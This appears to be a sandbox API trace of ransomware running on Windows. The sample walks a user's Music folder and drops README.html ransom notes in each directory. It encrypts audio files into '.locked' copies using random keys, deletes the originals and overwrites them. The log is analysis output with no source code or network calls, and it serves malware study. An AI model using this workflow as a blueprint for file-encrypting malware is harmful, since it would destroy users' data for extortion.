	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebb642c0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebb642c0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffacfba0, ftCreationTime.dwHighDateTime=0x1d4c71e, ftLastAccessTime.dwLowDateTime=0xf6a70e50, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0xf6a70e50, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="071XbJ", cAlternateFileName="")) returned 1
	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e03d90, ftCreationTime.dwHighDateTime=0x1d4c5bc, ftLastAccessTime.dwLowDateTime=0x7f63fc30, ftLastAccessTime.dwHighDateTime=0x1d4cd6f, ftLastWriteTime.dwLowDateTime=0x7f63fc30, ftLastWriteTime.dwHighDateTime=0x1d4cd6f, nFileSizeHigh=0x0, nFileSizeLow=0xfbde, dwReserved0=0x0, dwReserved1=0x0, cFileName="GONMV.mp3", cAlternateFileName="")) returned 1
	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd59b92b0, ftCreationTime.dwHighDateTime=0x1d4d1b7, ftLastAccessTime.dwLowDateTime=0xec1724d0, ftLastAccessTime.dwHighDateTime=0x1d4ca93, ftLastWriteTime.dwLowDateTime=0xec1724d0, ftLastWriteTime.dwHighDateTime=0x1d4ca93, nFileSizeHigh=0x0, nFileSizeLow=0x11e6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="il3hu6dXXDX MGLe.m4a", cAlternateFileName="IL3HU6~1.M4A")) returned 1
	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d24d210, ftCreationTime.dwHighDateTime=0x1d4d4f8, ftLastAccessTime.dwLowDateTime=0xdae06a0, ftLastAccessTime.dwHighDateTime=0x1d4cc91, ftLastWriteTime.dwLowDateTime=0xdae06a0, ftLastWriteTime.dwHighDateTime=0x1d4cc91, nFileSizeHigh=0x0, nFileSizeLow=0x6ce5, dwReserved0=0x0, dwReserved1=0x0, cFileName="u917nQmxGlYQ.wav", cAlternateFileName="U917NQ~1.WAV")) returned 1
	[0076.137] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.137] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.137] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0076.138] WriteFile (in: hFile=0xc0, lpBuffer=0x12799900*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x12799900*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.138] CloseHandle (hObject=0xc0) returned 1
	[0076.139] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc480*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123bc480*, lpNumberOfCharsWritten=0x127ee914*=0x3e) returned 1
	[0076.140] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffacfba0, ftCreationTime.dwHighDateTime=0x1d4c71e, ftLastAccessTime.dwLowDateTime=0xf6a70e50, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0xf6a70e50, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.140] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.140] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffacfba0, ftCreationTime.dwHighDateTime=0x1d4c71e, ftLastAccessTime.dwLowDateTime=0xf6a70e50, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0xf6a70e50, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffacfba0, ftCreationTime.dwHighDateTime=0x1d4c71e, ftLastAccessTime.dwLowDateTime=0xf6a70e50, ftLastAccessTime.dwHighDateTime=0x1d4cc6a, ftLastWriteTime.dwLowDateTime=0xf6a70e50, ftLastWriteTime.dwHighDateTime=0x1d4cc6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8131b750, ftCreationTime.dwHighDateTime=0x1d4c61c, ftLastAccessTime.dwLowDateTime=0x758b1fa0, ftLastAccessTime.dwHighDateTime=0x1d4cf67, ftLastWriteTime.dwLowDateTime=0x758b1fa0, ftLastWriteTime.dwHighDateTime=0x1d4cf67, nFileSizeHigh=0x0, nFileSizeLow=0x177a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="4kudbYFod536W.mp3", cAlternateFileName="4KUDBY~1.MP3")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeb16970, ftCreationTime.dwHighDateTime=0x1d4d123, ftLastAccessTime.dwLowDateTime=0x98c797b0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0x98c797b0, ftLastWriteTime.dwHighDateTime=0x1d4d470, nFileSizeHigh=0x0, nFileSizeLow=0x5355, dwReserved0=0x0, dwReserved1=0x0, cFileName="6y9cXxGS3Ie6eS9MzHg.mp3", cAlternateFileName="6Y9CXX~1.MP3")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975eb150, ftCreationTime.dwHighDateTime=0x1d4d1dd, ftLastAccessTime.dwLowDateTime=0x90dc3ab0, ftLastAccessTime.dwHighDateTime=0x1d4ce4e, ftLastWriteTime.dwLowDateTime=0x90dc3ab0, ftLastWriteTime.dwHighDateTime=0x1d4ce4e, nFileSizeHigh=0x0, nFileSizeLow=0x75b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kql5D AvlhFAAIgIXG.mp3", cAlternateFileName="KQL5DA~1.MP3")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d432830, ftCreationTime.dwHighDateTime=0x1d4d437, ftLastAccessTime.dwLowDateTime=0xba458050, ftLastAccessTime.dwHighDateTime=0x1d4c8e5, ftLastWriteTime.dwLowDateTime=0xba458050, ftLastWriteTime.dwHighDateTime=0x1d4c8e5, nFileSizeHigh=0x0, nFileSizeLow=0xa5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mit4KlPn_3.m4a", cAlternateFileName="MIT4KL~1.M4A")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe255f040, ftCreationTime.dwHighDateTime=0x1d4d270, ftLastAccessTime.dwLowDateTime=0xdb1284b0, ftLastAccessTime.dwHighDateTime=0x1d4d180, ftLastWriteTime.dwLowDateTime=0xdb1284b0, ftLastWriteTime.dwHighDateTime=0x1d4d180, nFileSizeHigh=0x0, nFileSizeLow=0x690e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ol0ATzyutYZ.m4a", cAlternateFileName="OL0ATZ~1.M4A")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc8132590, ftCreationTime.dwHighDateTime=0x1d4ccb2, ftLastAccessTime.dwLowDateTime=0x9bd66f10, ftLastAccessTime.dwHighDateTime=0x1d4cf72, ftLastWriteTime.dwLowDateTime=0x9bd66f10, ftLastWriteTime.dwHighDateTime=0x1d4cf72, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pf y5iqD4Os", cAlternateFileName="PFY5IQ~1")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6e60d0, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0xda4bafd0, ftLastAccessTime.dwHighDateTime=0x1d4c5db, ftLastWriteTime.dwLowDateTime=0xda4bafd0, ftLastWriteTime.dwHighDateTime=0x1d4c5db, nFileSizeHigh=0x0, nFileSizeLow=0x134e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RqSEicX9WpQrte.wav", cAlternateFileName="RQSEIC~1.WAV")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb13a110, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0x9844ef70, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0x9844ef70, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="R_LtNbRdhxzRBemmy", cAlternateFileName="R_LTNB~1")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca552e30, ftCreationTime.dwHighDateTime=0x1d4cb71, ftLastAccessTime.dwLowDateTime=0x9c0d930, ftLastAccessTime.dwHighDateTime=0x1d4ccd9, ftLastWriteTime.dwLowDateTime=0x9c0d930, ftLastWriteTime.dwHighDateTime=0x1d4ccd9, nFileSizeHigh=0x0, nFileSizeLow=0x13d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="zgDrLIcayo-mVK692G.m4a", cAlternateFileName="ZGDRLI~1.M4A")) returned 1
	[0076.140] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.140] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.141] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0076.141] WriteFile (in: hFile=0xc0, lpBuffer=0x1279a580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x1279a580*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.142] CloseHandle (hObject=0xc0) returned 1
	[0076.142] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e870*, nNumberOfCharsToWrite=0x45, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1263e870*, lpNumberOfCharsWritten=0x127ee8b0*=0x45) returned 1
	[0076.143] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\4kudbYFod536W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\4kudbyfod536w.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8131b750, ftCreationTime.dwHighDateTime=0x1d4c61c, ftLastAccessTime.dwLowDateTime=0x758b1fa0, ftLastAccessTime.dwHighDateTime=0x1d4cf67, ftLastWriteTime.dwLowDateTime=0x758b1fa0, ftLastWriteTime.dwHighDateTime=0x1d4cf67, nFileSizeHigh=0x0, nFileSizeLow=0x177a9)) returned 1
	[0076.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\4kudbYFod536W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\4kudbyfod536w.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.144] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0076.144] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\4kudbYFod536W.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\4kudbyfod536w.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.144] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0076.144] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238cf20 | out: pbBuffer=0x1238cf20) returned 1
	[0076.144] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a81d0 | out: pbBuffer=0x127a81d0) returned 1
	[0076.144] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc601 | out: pbBuffer=0x123bc601) returned 1
	[0076.144] WriteFile (in: hFile=0xc4, lpBuffer=0x1268d000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1268d000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0076.146] SetEvent (hEvent=0x8c) returned 1
	[0076.147] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x177a9, lpOverlapped=0x0) returned 1
	[0076.149] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x177a9, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x177a9, lpOverlapped=0x0) returned 1
	[0076.150] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0076.151] CloseHandle (hObject=0xc4) returned 1
	[0076.152] CloseHandle (hObject=0xc0) returned 1
	[0076.153] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0076.153] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.153] SetEvent (hEvent=0x8c) returned 1
	[0076.153] SetEvent (hEvent=0x78) returned 1
	[0076.153] SetEvent (hEvent=0xb4) returned 1
	[0076.153] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.153] SetEvent (hEvent=0xb4) returned 1
	[0076.153] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x41) returned 1
	[0076.155] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\4kudbYFod536W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\4kudbyfod536w.mp3")) returned 1
	[0076.173] SetEvent (hEvent=0x78) returned 1
	[0076.178] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.178] SetEvent (hEvent=0x78) returned 1
	[0076.178] SetEvent (hEvent=0xb4) returned 1
	[0076.178] SetEvent (hEvent=0x8c) returned 1
	[0076.178] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.179] SetEvent (hEvent=0xa8) returned 1
	[0076.179] SetEvent (hEvent=0x8c) returned 1
	[0076.181] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.181] SetEvent (hEvent=0x8c) returned 1
	[0076.181] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.182] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.182] SetEvent (hEvent=0x8c) returned 1
	[0076.182] SetEvent (hEvent=0xb4) returned 1
	[0076.182] SetEvent (hEvent=0x78) returned 1
	[0076.182] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.182] SetEvent (hEvent=0x78) returned 1
	[0076.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\4kudbYFod536W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\4kudbyfod536w.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.183] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0076.183] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.199] CloseHandle (hObject=0xc0) returned 1
	[0076.207] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\4kudbYFod536W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\4kudbyfod536w.mp3")) returned 1
	[0076.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\6y9cXxGS3Ie6eS9MzHg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\6y9cxxgs3ie6es9mzhg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeb16970, ftCreationTime.dwHighDateTime=0x1d4d123, ftLastAccessTime.dwLowDateTime=0x98c797b0, ftLastAccessTime.dwHighDateTime=0x1d4d470, ftLastWriteTime.dwLowDateTime=0x98c797b0, ftLastWriteTime.dwHighDateTime=0x1d4d470, nFileSizeHigh=0x0, nFileSizeLow=0x5355)) returned 1
	[0076.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\6y9cXxGS3Ie6eS9MzHg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\6y9cxxgs3ie6es9mzhg.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.216] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0076.216] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\6y9cXxGS3Ie6eS9MzHg.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\6y9cxxgs3ie6es9mzhg.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.217] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0076.217] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0076.217] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0076.217] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc181 | out: pbBuffer=0x123bc181) returned 1
	[0076.217] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0076.219] SetEvent (hEvent=0xb4) returned 1
	[0076.219] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x5355, lpOverlapped=0x0) returned 1
	[0076.220] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5355, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x5355, lpOverlapped=0x0) returned 1
	[0076.221] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0076.221] CloseHandle (hObject=0xc4) returned 1
	[0076.222] CloseHandle (hObject=0xc0) returned 1
	[0076.222] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.223] SetEvent (hEvent=0xb4) returned 1
	[0076.223] SetEvent (hEvent=0x78) returned 1
	[0076.223] SetEvent (hEvent=0x8c) returned 1
	[0076.223] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.223] SetEvent (hEvent=0xa8) returned 1
	[0076.223] SetEvent (hEvent=0x8c) returned 1
	[0076.223] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x47) returned 1
	[0076.225] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\6y9cXxGS3Ie6eS9MzHg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\6y9cxxgs3ie6es9mzhg.mp3")) returned 1
	[0076.242] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.242] SetEvent (hEvent=0xa8) returned 1
	[0076.242] SetEvent (hEvent=0x78) returned 1
	[0076.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.247] SetEvent (hEvent=0x78) returned 1
	[0076.247] SetEvent (hEvent=0x8c) returned 1
	[0076.247] SetEvent (hEvent=0xb4) returned 1
	[0076.247] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.248] SetEvent (hEvent=0xb4) returned 1
	[0076.249] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.249] SetEvent (hEvent=0xb4) returned 1
	[0076.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.250] SetEvent (hEvent=0xb4) returned 1
	[0076.250] SetEvent (hEvent=0x8c) returned 1
	[0076.250] SetEvent (hEvent=0x78) returned 1
	[0076.250] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.250] SetEvent (hEvent=0x78) returned 1
